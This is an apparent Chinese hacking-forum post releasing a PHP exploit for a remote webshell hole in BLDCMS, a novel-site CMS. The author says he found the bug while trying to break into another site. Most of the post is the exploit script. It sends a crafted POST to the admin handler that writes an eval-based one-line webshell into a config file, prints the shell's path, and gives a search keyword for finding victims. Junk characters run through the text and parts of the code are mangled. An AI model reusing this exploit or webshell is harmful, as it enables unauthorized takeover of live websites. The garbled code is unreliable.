BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
. q4 G; C( I; W4 ]

6 c: N: [5 j7 u) k5 D话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
0 H* p6 b' w- z0 i' t* B+ W
# |* k; e  p* J既然都有人发了 我就把我之前写好的EXP放出来吧
/ K  H* g( ^5 P! Z6 q4 N
$ N$ j  N0 n7 h  q3 T" n- q9 o& Eview source print?01.php;">
02.<!--?php
2 V& X, q; @- C1 `9 \$ R03.echo "-------------------------------------------------------------------
5 V9 v8 ]! z7 b- }4 H& P% x04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
. B# x- u: b. y- ?# G06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
- ?) b' S& F: r& M/ e5 Z08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
4 X- B4 E# X- c% S10.
/ i6 r$ M1 {, Z7 c11.
, c% p; c: w8 _12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
0 p4 m6 j9 {! m( Q0 R3 p' F- y14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
16.--------------------------------------------------------------------\r\n";
, h& C" x% H# [5 b  T17.$url=$argv[1];
, s, P* g  C8 e! e18.$dir=$argv[2];
19.$pass=$argv[3];
! X- B# e. f; ^% Q% j1 h6 A7 A0 a20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
4 `: m8 f7 f! U2 ]" {0 w" U21.if (emptyempty($pass)||emptyempty($url))
22.{exit("请输入参数");}
; c9 b( b, C/ v3 }6 j* H4 C23.else
24.{
+ S# H, ~4 j& }4 _* v8 X25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
0 R, l( g, r5 \( g# I27.al;
' S% Q/ n% I7 L" F* o& |28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
6 N6 f/ E' b! p30.{
( ]+ C' N; X  B* p" a31.global $url,$dir,$pass,$eval,$length,$fuckdata;
& w* _" i$ B1 |; ?32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
0 D$ v0 O# e5 J  W33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
, @% [/ D; B9 K+ R! \/ _- K* o34.$header .= "User-Agent: MSIE\r\n";
0 E  M# h0 S$ K' k( U35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
' @; x/ t( y0 O" E6 H# i37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
5 e6 w8 Y) m- a39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
41.if (!$fp)
42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
45.else{ if (!fputs($fp,$header))
% o) O$ x* B4 ]46.{exit ("利用失败");}
47.else
48.{
49.$receive = '';
8 j1 k% D4 I" e5 x0 E50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
52.}
53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
56.GPC是否=off)";
57.}}
# }. W1 T5 g) v58.}
9 E) _' z( J& ?* f' D59.}
; H/ \9 y. H% q% w: f60.getshell($url,$pass);
61.?-->
1 f! J) y1 [5 w


by 数据流